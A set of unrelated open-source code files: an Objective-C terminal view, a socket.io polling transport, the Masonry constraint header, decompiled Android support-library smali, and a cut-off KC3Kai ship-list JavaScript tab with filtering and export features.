([aString length] == 0) { [self unmarkText]; return; } if (_markedText != aString) { [_markedText release]; _markedText = [aString retain]; } _selectedRange = selRange; _markedRange.location = 0; _markedRange.length = [aString length]; [_textField setString:aString]; [_textField setSelectedRange:selRange]; [_textField setMarkedRange:_markedRange]; NSPoint o = NSMakePoint([ds cursorColumn] * _fontWidth, (_maxRow - 1 - [ds cursorRow]) * _fontHeight + 5.0); CGFloat dy; if (o.x + [_textField frame].size.width > _maxColumn * _fontWidth) o.x = _maxColumn * _fontWidth - [_textField frame].size.width; if (o.y + [_textField frame].size.height > _maxRow * _fontHeight) { o.y = (_maxRow - [ds cursorRow]) * _fontHeight - 5.0 - [_textField frame].size.height; dy = o.y + [_textField frame].size.height; } else { dy = o.y; } [_textField setFrameOrigin:o]; [_textField setDestination:[_textField convertPoint:NSMakePoint(([ds cursorColumn] + 0.5) * _fontWidth, dy) fromView:self]]; [_textField setHidden:NO]; } - (void)unmarkText { [_markedText release]; _markedText = nil; [_textField setHidden:YES]; } - (BOOL)hasMarkedText { return (_markedText != nil); } - (NSInteger)conversationIdentifier { return (NSInteger)self; } // Returns attributed string at the range. This allows input mangers to query any range in backing-store. May return nil. - (NSAttributedString *)attributedSubstringFromRange:(NSRange)theRange { if (theRange.location >= [_markedText length]) return nil; if (theRange.location + theRange.length > [_markedText length]) theRange.length = [_markedText length] - theRange.location; return [[[NSAttributedString alloc] initWithString:[[_markedText string] substringWithRange:theRange]] autorelease]; } // This method returns the range for marked region. If hasMarkedText == false, it'll return NSNotFound location & 0 length range. - (NSRange)markedRange { return _markedRange; } // This method returns the range for selected region. Just like markedRange method, its location field contains char index from the text beginning. - (NSRange)selectedRange { return _selectedRange; } // This method returns the first frame of rects for theRange in screen coordindate system. - (NSRect)firstRectForCharacterRange:(NSRange)theRange { NSPoint pointInWindowCoordinates; NSRect rectInScreenCoordinates; pointInWindowCoordinates = [_textField frame].origin; //[_textField convertPoint: [_textField frame].origin toView: nil]; rectInScreenCoordinates.origin = [[_textField window] convertBaseToScreen:pointInWindowCoordinates]; rectInScreenCoordinates.size = [_textField bounds].size; return rectInScreenCoordinates; } // This method returns the index for character that is nearest to thePoint. thPoint is in screen coordinate system. - (NSUInteger)characterIndexForPoint:(NSPoint)thePoint { return 0; } // This method is the key to attribute extension. We could add new attributes through this method. NSInputServer examines the return value of this method & constructs appropriate attributed string. - (NSArray*)validAttributesForMarkedText { return [NSArray array]; } #pragma mark - #pragma mark Url Menu // Here I hijacked the option-tab key mapping... // by gtCarrera, for URL menu - (void)switchURL { // Now, just return... // return; // If not in URL mode, turn this mode on if(!_isInUrlMode) { _isInUrlMode = YES; [WLPopUpMessage showPopUpMessage:NSLocalizedString(@"URL Mode", @"URL Mode") duration:0.5 effectView:_effectView]; // For Test NSPoint p = [_urlManager currentSelectedURLPos]; if(p.x < 0 || p.y < 0) { // No urls available [self exitURL]; return; } [_effectView showIndicatorAtPoint:p]; } else { // Move next [_effectView showIndicatorAtPoint:[_urlManager moveNext]]; } } - (void)exitURL { if(!_isInUrlMode) return; [_effectView removeIndicator]; [WLPopUpMessage showPopUpMessage:NSLocalizedString(@"Normal Mode", @"Normal Mode") duration:0.5 effectView:_effectView]; _isInUrlMode = NO; } #pragma mark - #pragma mark mouse operation - (void)deactivateMouseForKeying { _isKeying = YES; [NSTimer scheduledTimerWithTimeInterval:disableMouseByKeyingTimerInterval target:self selector:@selector(activateMouseForKeying:) userInfo:nil repeats:NO]; } - (void)activateMouseForKeying:(NSTimer*)timer { _isKeying = NO; } #pragma mark - #pragma mark WLTabItemContentObserver protocol - (void)didChangeContent:(id)content { // Clear [self clearSelection]; [self exitURL]; [_effectView clear]; // Inform super class about the change [super didChangeContent:content]; // Update contents if (content == nil) { [_effectView setHidden:YES]; } else { [_effectView setHidden:NO]; // Pop up a message indicating the selected site [WLPopUpMessage showPopUpMessage:[[(WLConnection *)content site] name] duration:1.2 effectView:_effectView]; } [self refreshMouseHotspot]; } #pragma mark - #pragma mark WLTerminalObserver protocol - (void)terminalDidUpdate:(WLTerminal *)terminal { if (terminal == [self frontMostTerminal]) { //[self updateBackedImage]; //[self setNeedsDisplay:YES]; [self refreshMouseHotspot]; } [super terminalDidUpdate:terminal]; } #pragma mark - #pragma mark NSAccessibility protocol - (BOOL)accessibilityIsIgnored { return NO; } - (id)accessibilityAttributeValue:(NSString *)attribute { if ([attribute isEqual:NSAccessibilityRoleAttribute]) { return NSAccessibilityTextAreaRole; } else if ([attribute isEqual:NSAccessibilitySelectedTextRangeAttribute]) { if (_selectionLength > 0) { return [NSValue valueWithRange:NSMakeRange(_selectionLocation, _selectionLength)]; } else if (_selectionLength < 0) { return [NSValue valueWithRange:NSMakeRange(_selectionLocation + _selectionLength, abs(_selectionLength))]; } else { // A weird workaround return [self accessibilityAttributeValue:NSAccessibilityRangeForPositionParameterizedAttribute forParameter:[NSValue valueWithPoint:[NSEvent mouseLocation]]]; } } else if ([attribute isEqual:NSAccessibilityNumberOfCharactersAttribute]) { if (_selectionLength != 0) { return [NSNumber numberWithUnsignedInteger:_selectionLength]; } else { return [NSNumber numberWithUnsignedInteger:[self rangeForWordAtPoint:[self mouseLocationInView]].length]; } } return nil; } - (id)accessibilityAttributeValue:(NSString *)attribute forParameter:(id)parameter { if ([attribute isEqual:NSAccessibilityRangeForPositionParameterizedAttribute]) { NSPoint point = [self convertPoint:[[self window] convertScreenToBase:[(NSValue *)parameter pointValue]] fromView:nil]; return [NSValue valueWithRange:[self rangeForWordAtPoint:point]]; } else if ([attribute isEqual:NSAccessibilityStringForRangeParameterizedAttribute]) { NSRange range = [(NSValue *)parameter rangeValue]; return [[self frontMostTerminal] stringAtIndex:range.location length:range.length]; } else if ([attribute isEqual:NSAccessibilityRTFForRangeParameterizedAttribute]) { NSRange range = [(NSValue *)parameter rangeValue]; NSAttributedString *attrString = [[self frontMostTerminal] attributedStringAtIndex:range.location length:range.length]; return [attrString RTFFromRange:NSMakeRange(0, [attrString length]) documentAttributes:nil]; } else if ([attribute isEqual:NSAccessibilityLineForIndexParameterizedAttribute]) { NSUInteger index = [(NSNumber *)parameter unsignedIntegerValue]; return [NSNumber numberWithUnsignedInteger:(index/_maxColumn)]; } else if ([attribute isEqual:NSAccessibilityRangeForLineParameterizedAttribute]) { NSUInteger line = [(NSNumber *)parameter unsignedIntegerValue]; return [NSValue valueWithRange:NSMakeRange(line * _maxColumn, _maxColumn)]; } else if ([attribute isEqual:NSAccessibilityBoundsForRangeParameterizedAttribute]) { NSRange range = [(NSValue *)parameter rangeValue]; NSRect rect = [self rectAtRow:range.location/_maxColumn column:range.location%_maxColumn height:1 width:range.length]; rect = [self convertRect:rect toView:nil]; rect.origin = [[self window] convertBaseToScreen:rect.origin]; return [NSValue valueWithRect:rect]; } return nil; } @end
{ "pile_set_name": "Github" }
/*! * socket.io-node * Copyright(c) 2011 LearnBoost <dev@learnboost.com> * MIT Licensed */ /** * Module requirements. */ var HTTPTransport = require('./http'); /** * Exports the constructor. */ exports = module.exports = HTTPPolling; /** * HTTP polling constructor. * * @api public. */ function HTTPPolling (mng, data, req) { HTTPTransport.call(this, mng, data, req); }; /** * Inherits from HTTPTransport. * * @api public. */ HTTPPolling.prototype.__proto__ = HTTPTransport.prototype; /** * Transport name * * @api public */ HTTPPolling.prototype.name = 'httppolling'; /** * Override setHandlers * * @api private */ HTTPPolling.prototype.setHandlers = function () { HTTPTransport.prototype.setHandlers.call(this); this.socket.removeListener('end', this.bound.end); this.socket.removeListener('close', this.bound.close); }; /** * Removes heartbeat timeouts for polling. */ HTTPPolling.prototype.setHeartbeatInterval = function () { return this; }; /** * Handles a request * * @api private */ HTTPPolling.prototype.handleRequest = function (req) { HTTPTransport.prototype.handleRequest.call(this, req); if (req.method == 'GET') { var self = this; this.pollTimeout = setTimeout(function () { self.packet({ type: 'noop' }); self.log.debug(self.name + ' closed due to exceeded duration'); }, this.manager.get('polling duration') * 1000); this.log.debug('setting poll timeout'); } }; /** * Clears polling timeout * * @api private */ HTTPPolling.prototype.clearPollTimeout = function () { if (this.pollTimeout) { clearTimeout(this.pollTimeout); this.pollTimeout = null; this.log.debug('clearing poll timeout'); } return this; }; /** * Override clear timeouts to clear the poll timeout * * @api private */ HTTPPolling.prototype.clearTimeouts = function () { HTTPTransport.prototype.clearTimeouts.call(this); this.clearPollTimeout(); }; /** * doWrite to clear poll timeout * * @api private */ HTTPPolling.prototype.doWrite = function () { this.clearPollTimeout(); }; /** * Performs a write. * * @api private. */ HTTPPolling.prototype.write = function (data, close) { this.doWrite(data); this.response.end(); this.onClose(); }; /** * Override end. * * @api private */ HTTPPolling.prototype.end = function (reason) { this.clearPollTimeout(); return HTTPTransport.prototype.end.call(this, reason); };
{ "pile_set_name": "Github" }
// // MASConstraint.h // Masonry // // Created by Jonas Budelmann on 22/07/13. // Copyright (c) 2013 cloudling. All rights reserved. // #import "MASUtilities.h" /** * Enables Constraints to be created with chainable syntax * Constraint can represent single NSLayoutConstraint (MASViewConstraint) * or a group of NSLayoutConstraints (MASComposisteConstraint) */ @interface MASConstraint : NSObject // Chaining Support /** * Modifies the NSLayoutConstraint constant, * only affects MASConstraints in which the first item's NSLayoutAttribute is one of the following * NSLayoutAttributeTop, NSLayoutAttributeLeft, NSLayoutAttributeBottom, NSLayoutAttributeRight */ - (MASConstraint * (^)(MASEdgeInsets insets))insets; /** * Modifies the NSLayoutConstraint constant, * only affects MASConstraints in which the first item's NSLayoutAttribute is one of the following * NSLayoutAttributeWidth, NSLayoutAttributeHeight */ - (MASConstraint * (^)(CGSize offset))sizeOffset; /** * Modifies the NSLayoutConstraint constant, * only affects MASConstraints in which the first item's NSLayoutAttribute is one of the following * NSLayoutAttributeCenterX, NSLayoutAttributeCenterY */ - (MASConstraint * (^)(CGPoint offset))centerOffset; /** * Modifies the NSLayoutConstraint constant */ - (MASConstraint * (^)(CGFloat offset))offset; /** * Modifies the NSLayoutConstraint constant based on a value type */ - (MASConstraint * (^)(NSValue *value))valueOffset; /** * Sets the NSLayoutConstraint multiplier property */ - (MASConstraint * (^)(CGFloat multiplier))multipliedBy; /** * Sets the NSLayoutConstraint multiplier to 1.0/dividedBy */ - (MASConstraint * (^)(CGFloat divider))dividedBy; /** * Sets the NSLayoutConstraint priority to a float or MASLayoutPriority */ - (MASConstraint * (^)(MASLayoutPriority priority))priority; /** * Sets the NSLayoutConstraint priority to MASLayoutPriorityLow */ - (MASConstraint * (^)())priorityLow; /** * Sets the NSLayoutConstraint priority to MASLayoutPriorityMedium */ - (MASConstraint * (^)())priorityMedium; /** * Sets the NSLayoutConstraint priority to MASLayoutPriorityHigh */ - (MASConstraint * (^)())priorityHigh; /** * Sets the constraint relation to NSLayoutRelationEqual * returns a block which accepts one of the following: * MASViewAttribute, UIView, NSValue, NSArray * see readme for more details. */ - (MASConstraint * (^)(id attr))equalTo; /** * Sets the constraint relation to NSLayoutRelationGreaterThanOrEqual * returns a block which accepts one of the following: * MASViewAttribute, UIView, NSValue, NSArray * see readme for more details. */ - (MASConstraint * (^)(id attr))greaterThanOrEqualTo; /** * Sets the constraint relation to NSLayoutRelationLessThanOrEqual * returns a block which accepts one of the following: * MASViewAttribute, UIView, NSValue, NSArray * see readme for more details. */ - (MASConstraint * (^)(id attr))lessThanOrEqualTo; /** * Optional semantic property which has no effect but improves the readability of constraint */ - (MASConstraint *)with; /** * Optional semantic property which has no effect but improves the readability of constraint */ - (MASConstraint *)and; /** * Creates a new MASCompositeConstraint with the called attribute and reciever */ - (MASConstraint *)left; - (MASConstraint *)top; - (MASConstraint *)right; - (MASConstraint *)bottom; - (MASConstraint *)leading; - (MASConstraint *)trailing; - (MASConstraint *)width; - (MASConstraint *)height; - (MASConstraint *)centerX; - (MASConstraint *)centerY; - (MASConstraint *)baseline; #if TARGET_OS_IPHONE - (MASConstraint *)leftMargin; - (MASConstraint *)rightMargin; - (MASConstraint *)topMargin; - (MASConstraint *)bottomMargin; - (MASConstraint *)leadingMargin; - (MASConstraint *)trailingMargin; - (MASConstraint *)centerXWithinMargins; - (MASConstraint *)centerYWithinMargins; #endif /** * Sets the constraint debug name */ - (MASConstraint * (^)(id key))key; // NSLayoutConstraint constant Setters // for use outside of mas_updateConstraints/mas_makeConstraints blocks /** * Modifies the NSLayoutConstraint constant, * only affects MASConstraints in which the first item's NSLayoutAttribute is one of the following * NSLayoutAttributeTop, NSLayoutAttributeLeft, NSLayoutAttributeBottom, NSLayoutAttributeRight */ - (void)setInsets:(MASEdgeInsets)insets; /** * Modifies the NSLayoutConstraint constant, * only affects MASConstraints in which the first item's NSLayoutAttribute is one of the following * NSLayoutAttributeWidth, NSLayoutAttributeHeight */ - (void)setSizeOffset:(CGSize)sizeOffset; /** * Modifies the NSLayoutConstraint constant, * only affects MASConstraints in which the first item's NSLayoutAttribute is one of the following * NSLayoutAttributeCenterX, NSLayoutAttributeCenterY */ - (void)setCenterOffset:(CGPoint)centerOffset; /** * Modifies the NSLayoutConstraint constant */ - (void)setOffset:(CGFloat)offset; // NSLayoutConstraint Installation support #if TARGET_OS_MAC && !TARGET_OS_IPHONE /** * Whether or not to go through the animator proxy when modifying the constraint */ @property (nonatomic, copy, readonly) MASConstraint *animator; #endif /** * Activates an NSLayoutConstraint if it's supported by an OS. * Invokes install otherwise. */ - (void)activate; /** * Deactivates previously installed/activated NSLayoutConstraint. */ - (void)deactivate; /** * Creates a NSLayoutConstraint and adds it to the appropriate view. */ - (void)install; /** * Removes previously installed NSLayoutConstraint */ - (void)uninstall; @end /** * Convenience auto-boxing macros for MASConstraint methods. * * Defining MAS_SHORTHAND_GLOBALS will turn on auto-boxing for default syntax. * A potential drawback of this is that the unprefixed macros will appear in global scope. */ #define mas_equalTo(...) equalTo(MASBoxValue((__VA_ARGS__))) #define mas_greaterThanOrEqualTo(...) greaterThanOrEqualTo(MASBoxValue((__VA_ARGS__))) #define mas_lessThanOrEqualTo(...) lessThanOrEqualTo(MASBoxValue((__VA_ARGS__))) #define mas_offset(...) valueOffset(MASBoxValue((__VA_ARGS__))) #ifdef MAS_SHORTHAND_GLOBALS #define equalTo(...) mas_equalTo(__VA_ARGS__) #define greaterThanOrEqualTo(...) mas_greaterThanOrEqualTo(__VA_ARGS__) #define lessThanOrEqualTo(...) mas_lessThanOrEqualTo(__VA_ARGS__) #define offset(...) mas_offset(__VA_ARGS__) #endif @interface MASConstraint (AutoboxingSupport) /** * Aliases to corresponding relation methods (for shorthand macros) * Also needed to aid autocompletion */ - (MASConstraint * (^)(id attr))mas_equalTo; - (MASConstraint * (^)(id attr))mas_greaterThanOrEqualTo; - (MASConstraint * (^)(id attr))mas_lessThanOrEqualTo; /** * A dummy method to aid autocompletion */ - (MASConstraint * (^)(id offset))mas_offset; @end
{ "pile_set_name": "Github" }
.class Landroid/support/v4/app/NotificationManagerCompat$CancelTask; .super Ljava/lang/Object; .source "NotificationManagerCompat.java" # interfaces .implements Landroid/support/v4/app/NotificationManagerCompat$Task; # annotations .annotation system Ldalvik/annotation/EnclosingClass; value = Landroid/support/v4/app/NotificationManagerCompat; .end annotation .annotation system Ldalvik/annotation/InnerClass; accessFlags = 0xa name = "CancelTask" .end annotation # instance fields .field final all:Z .field final id:I .field final packageName:Ljava/lang/String; .field final tag:Ljava/lang/String; # direct methods .method public constructor <init>(Ljava/lang/String;)V .locals 1 .param p1, "packageName" # Ljava/lang/String; .prologue .line 676 invoke-direct {p0}, Ljava/lang/Object;-><init>()V .line 677 iput-object p1, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->packageName:Ljava/lang/String; .line 678 const/4 v0, 0x0 iput v0, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->id:I .line 679 const/4 v0, 0x0 iput-object v0, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->tag:Ljava/lang/String; .line 680 const/4 v0, 0x1 iput-boolean v0, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->all:Z .line 681 return-void .end method .method public constructor <init>(Ljava/lang/String;ILjava/lang/String;)V .locals 1 .param p1, "packageName" # Ljava/lang/String; .param p2, "id" # I .param p3, "tag" # Ljava/lang/String; .prologue .line 683 invoke-direct {p0}, Ljava/lang/Object;-><init>()V .line 684 iput-object p1, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->packageName:Ljava/lang/String; .line 685 iput p2, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->id:I .line 686 iput-object p3, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->tag:Ljava/lang/String; .line 687 const/4 v0, 0x0 iput-boolean v0, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->all:Z .line 688 return-void .end method # virtual methods .method public send(Landroid/support/v4/app/INotificationSideChannel;)V .locals 3 .param p1, "service" # Landroid/support/v4/app/INotificationSideChannel; .annotation system Ldalvik/annotation/Throws; value = { Landroid/os/RemoteException; } .end annotation .prologue .line 692 iget-boolean v0, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->all:Z if-eqz v0, :cond_0 .line 693 iget-object v0, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->packageName:Ljava/lang/String; invoke-interface {p1, v0}, Landroid/support/v4/app/INotificationSideChannel;->cancelAll(Ljava/lang/String;)V .line 697 :goto_0 return-void .line 695 :cond_0 iget-object v0, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->packageName:Ljava/lang/String; iget v1, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->id:I iget-object v2, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->tag:Ljava/lang/String; invoke-interface {p1, v0, v1, v2}, Landroid/support/v4/app/INotificationSideChannel;->cancel(Ljava/lang/String;ILjava/lang/String;)V goto :goto_0 .end method .method public toString()Ljava/lang/String; .locals 3 .prologue .line 700 new-instance v0, Ljava/lang/StringBuilder; const-string v1, "CancelTask[" invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V .line 701 .local v0, "sb":Ljava/lang/StringBuilder; const-string v1, "packageName:" invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 iget-object v2, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->packageName:Ljava/lang/String; invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; .line 702 const-string v1, ", id:" invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 iget v2, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->id:I invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; .line 703 const-string v1, ", tag:" invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 iget-object v2, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->tag:Ljava/lang/String; invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; .line 704 const-string v1, ", all:" invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 iget-boolean v2, p0, Landroid/support/v4/app/NotificationManagerCompat$CancelTask;->all:Z invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; .line 705 const-string v1, "]" invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; .line 706 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v1 return-object v1 .end method
{ "pile_set_name": "Github" }
(function(){ "use strict"; KC3StrategyTabs.ships = new KC3StrategyTab("ships"); KC3StrategyTabs.ships.definition = { tabSelf: KC3StrategyTabs.ships, isLoading: false, shipCache:[], // Formatted settings to be stored into localStorage settings: {}, // Default properties of sorters and views defaultSettings: { // default sorting method to Level currentSorters: [{name:"lv", reverse:false}], // default options of view equipMode: 0, multiKey: false, pageNo: false, scrollList: false, heartLockMode: 0, className: false, showTooltip: false, // a special filter for quick search by show name showNameFilter: "", // a special filter for quick limit ships by level range shipLevelFilter: ["", ""], // default values of filters are defined at `prepareFilters` }, // All pre-defined filters instances newFilterRep: {}, // All pre-defined sorters instances sorters: {}, sorterDescCtrl: null, viewElements: {}, /* INIT Prepares static data needed ---------------------------------*/ init :function(){ $.extend(true, this, this.defaultSettings); this.prepareSorters(); }, /* RELOAD Prepares latest ships data ---------------------------------*/ reload :function(){ PlayerManager.loadFleets(); KC3ShipManager.load(); KC3GearManager.load(); // Cache pre-processed ship info this.shipCache = []; for(const key in KC3ShipManager.list){ const shipData = KC3ShipManager.list[key]; // Exclude ship(s) that not exist in master to avoid render error if(!KC3Master.ship(shipData.masterId)) { continue; } const preparedData = this.prepareShipData(shipData); this.shipCache.push(preparedData); } }, /* EXECUTE Places data onto the interface ---------------------------------*/ execute :function(){ const self = this; // Binding click event starts $(".filters_label").on("click", function(){ $(".filters .ship_types").slideToggle(300); $(".filters .input_filter").slideToggle(300); $(".filters .massSelect").slideToggle(300, function(){ $(".filters_label .fold_button").toggleClass("glyph_minus", $(this).is(":visible")); $(".filters_label .fold_button").toggleClass("glyph_plus", !$(this).is(":visible")); if(self.scrollList){ self.toggleTableScrollbar(true); } }); }); $(".fleet_stats_label").on("click", function(){ $(".filters .fleet_stats").slideToggle(300, function(){ $(".fleet_stats_label .fold_button").toggleClass("glyph_minus", $(this).is(":visible")); $(".fleet_stats_label .fold_button").toggleClass("glyph_plus", !$(this).is(":visible")); if(self.scrollList){ self.toggleTableScrollbar(true); } }); }); $(".pages_yes").on("click", function(){ if(!self.pageNo){ self.pageNo = true; self.saveSettings(); } self.refreshInputFilter(); }); $(".pages_no").on("click", function(){ if(self.pageNo){ self.pageNo = false; self.saveSettings(); } self.refreshInputFilter(); }); $(".scroll_fix").on("click", function(){ self.toggleTableScrollbar(true); if(!self.scrollList){ self.scrollList = true; self.saveSettings(); } }); $(".scroll_none").on("click", function(){ self.toggleTableScrollbar(false); if(self.scrollList){ self.scrollList = false; self.saveSettings(); } KC3StrategyTabs.reloadTab(undefined, false); }); $(".lock_none").on("click", function(){ $(".ship_list .ship_lock").hide(); if(!!self.heartLockMode){ self.heartLockMode = 0; self.saveSettings(); } }); $(".lock_yes").on("click", function(){ if(self.heartLockMode !== 1){ self.heartLockMode = 1; self.saveSettings(); } KC3StrategyTabs.reloadTab(undefined, false); }); $(".lock_no").on("click", function(){ if(self.heartLockMode !== 2){ self.heartLockMode = 2; self.saveSettings(); } KC3StrategyTabs.reloadTab(undefined, false); }); $(".class_yes").on("click", function(){ if(!self.className){ self.className = true; self.saveSettings(); } KC3StrategyTabs.reloadTab(undefined, false); }); $(".class_no").on("click", function(){ if(self.className){ self.className = false; self.saveSettings(); } KC3StrategyTabs.reloadTab(undefined, false); }); $(".tooltip_yes").on("click", function(){ if(!self.showTooltip){ self.showTooltip = true; self.saveSettings(); } KC3StrategyTabs.reloadTab(undefined, false); }); $(".tooltip_no").on("click", function(){ if(self.showTooltip){ self.showTooltip = false; self.saveSettings(); } KC3StrategyTabs.reloadTab(undefined, false); }); $(".ship_export .export_to_kanmusu_list").on("click", function() { // Export currently visible ships var selectedShips = self.shipCache.filter(function(x) { return self.executeFilters(x); }); selectedShips.sort( function(a, b) { return RemodelDb.originOf(a.bid) - RemodelDb.originOf(b.bid) || b.ship.level - a.ship.level; }); var previousId = 0; var importString = ".2"; // Format .2|shipId:shipLevel|shipId2:shipLevel2.remodel,shipLevel3|... for(var i = 0; i < selectedShips.length; i++) { var ship = selectedShips[i]; var shipId = ship.bid; if(RemodelDb.originOf(shipId) === previousId) // Dupes are separated with , importString += ","; else // While first ones are separated by |shipId importString += "|" + RemodelDb.originOf(shipId) + ":"; importString += ship.ship.level; if(RemodelDb.remodelInfo(shipId) && ship.ship.level >= RemodelDb.remodelInfo(shipId).level) { var group = RemodelDb.remodelGroup(shipId); var remodelNumber = group.indexOf(shipId) + 1; if(remodelNumber < group.length) // Not necessary for last cyclic remodels importString += "." + remodelNumber; } previousId = RemodelDb.originOf(shipId); } // Customized base64 encoding: http://kancolle-calc.net/data/share.js var CODE = [ '0000', '0001', '0010', '0011', '0100', '0101', '0110', '0111', '1000', '1001', '1010', '1011', '1100', '1101' ]; var BASE64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-'; var buff = ''; var outputString = ''; for (var j = 0; j < importString.length; j++) { var c = importString.charAt(j); var pos; if (c == ',') { pos = 10; } else if (c == '|') { pos = 11; } else if (c == '.') { pos = 12; } else if (c == ':') { pos = 13; } else { pos = parseInt(c); } buff += CODE[pos]; if (buff.length >= 6) { var seg = buff.slice(0, 6); outputString += BASE64.charAt(parseInt(seg, 2)); buff = buff.slice(6); } } if (buff.length > 0) { while (buff.length < 6) { buff += '1'; } outputString += BASE64.charAt(parseInt(buff, 2)); } window.open("http://kancolle-calc.net/kanmusu_list.html?data=" + outputString); }); $(".ship_export .export_to_kancepts").on("click", function() { window.open("https://javran.github.io/kancepts/?sl=" + self.shipCache.filter(x => x.locked).map(function(x) { return (x.ship.level > 99 ? "r" : "") + x.bid; }).join(",")); }); $(".control_buttons .reset_default").on("click", function(){ delete self.currentSorters; $.extend(true, self, self.defaultSettings); delete localStorage.srShiplist; KC3StrategyTabs.reloadTab(undefined, true); }); // Binding click event ends // Update ship stats header icon set $(".tab_ships .ship_header .ship_stat:not(.not_stat) img").each((_, img) => { $(img).attr("src", KC3Meta.statIcon($(img).parent().data("type"))); }); $(".ship_tooltip .stat_icon img").each((_, img) => { $(img).attr("src", KC3Meta.statIcon($(img).parent().data("stat"))); }); // Add filter elements of ship types before `prepareFilters` executed $.each(KC3Meta.sortedStypes(), (idx, stype) => { // stype 12, 15 not used by shipgirl, marked as order 999 // stype 1 is used from 2017-05-02 if(stype.id && stype.order < 999){ const cElm = $(".tab_ships .factory .ship_filter_type").clone() .appendTo(".tab_ships .filters .ship_types"); cElm.data("id", stype.id); $(".filter_name", cElm).text(stype.name); } }); // Update multi sorter elements const multiKeyCtrl = $( ".advanced_sorter .adv_sorter" ); const updateSorterControl = function() { $(".filter_check", multiKeyCtrl).toggle( self.multiKey ); self.sorterDescCtrl.toggle(self.multiKey); }; multiKeyCtrl.on("click", function() { self.multiKey = ! self.multiKey; updateSorterControl(); if (! self.multiKey) { const needUpdate = self.cutCurrentSorter(); if (needUpdate) self.refreshTable(); } }); this.loadSettings(); this.sorterDescCtrl = $(".advanced_sorter .sorter_desc"); this.updateSorterDescription(); updateSorterControl(); this.prepareFilters(); this.shipList = $(".tab_ships .ship_list"); this.showFilters(); // Ship show name quick filter $(".show_name_filter .name_criteria").on("keyup", () => { this.refreshInputFilter(); }).on("focus", () => { $(".show_name_filter .name_criteria").select(); }).val(this.showNameFilter); // Ship level range quick filter const lvStartInput = $(".ship_level_filter .level_start_input"); const lvEndInput = $(".ship_level_filter .level_end_input"); const validateLevelString = (str) => { const v = Number(str); return str === "" || ( !isNaN(v) && Number.isInteger(v) && v > 0 && v <= KC3Ship.getMaxLevel() ); }; lvStartInput.on("keyup", () => { const isValid = validateLevelString(lvStartInput.val()); lvStartInput.toggleClass("error", !isValid); if(isValid) this.refreshInputFilter(); }).on("focus", () => { lvStartInput.select(); }).val(this.shipLevelFilter[0]); lvEndInput.on("keyup", () => { const isValid = validateLevelString(lvEndInput.val()); lvEndInput.toggleClass("error", !isValid); if(isValid) this.refreshInputFilter(); }).on("focus", () => { lvEndInput.select(); }).val(this.shipLevelFilter[1]); }, refreshInputFilter: function() { const self = this; let hiddenShips = 0; const newNameCriteria = $(".show_name_filter .name_criteria").val(); const levelStartCriteria = $(".ship_level_filter .level_start_input").val(); const levelEndCriteria = $(".ship_level_filter .level_end_input").val(); if (newNameCriteria.length || levelStartCriteria.length || levelEndCriteria.length) { let nameToSearch = newNameCriteria, isValidRegex = false; if (newNameCriteria.length) { try { nameToSearch = new RegExp(newNameCriteria, 'iu'); isValidRegex = true; } catch (e) { // Ignore regexp syntax error, will fall-back to substring matching isValidRegex = false; } $(".show_name_filter .name_criteria").toggleClass("error", !isValidRegex); } $(".ship_list .ship_item").each(function() { const shipNameElm = $(".ship_name", this); // also search for JP name and kana yomi and romaji (useful for JP users) const shipName = (self.className ? shipNameElm.data("full-name") : shipNameElm.data("ship-name")), shipNameJp = (shipNameElm.data("jpname") || ""), shipNameKana = (shipNameElm.data("jpname-kana") || ""), shipNameRomaji = (shipNameElm.data("jpname-romaji") || ""); const shipLevel = Number($(".ship_lv", this).data("level")); const isHiddenByName = newNameCriteria.length && ![shipName, shipNameJp, shipNameKana, shipNameRomaji] .some(v => isValidRegex ? nameToSearch.test(v) : v.includes(nameToSearch)); // function `inside` will treat invalid number (like "") as -/+Infinity, // and it will auto swap min and max values if min > max const isHiddenByLevel = !shipLevel.inside(levelStartCriteria, levelEndCriteria); const isToHide = isHiddenByName || isHiddenByLevel; hiddenShips += isToHide & 1; $(this).toggleClass("hidden_by_name", isToHide); }); } else { $(".ship_list .ship_item").removeClass("hidden_by_name"); $(".show_name_filter .name_criteria").removeClass("error"); } $(".ingame_page").remove(); let visibleShips = 0; let [sumLevel, sumExp] = [0, 0]; $(".ship_list .ship_item").each(function () { if (!$(this).hasClass("hidden_by_name")) { $(this).removeClass("odd even").addClass(visibleShips % 2 ? "even" : "odd"); if (visibleShips % 10 === 0) { $("<div>") .addClass("ingame_page") .html("Page " + 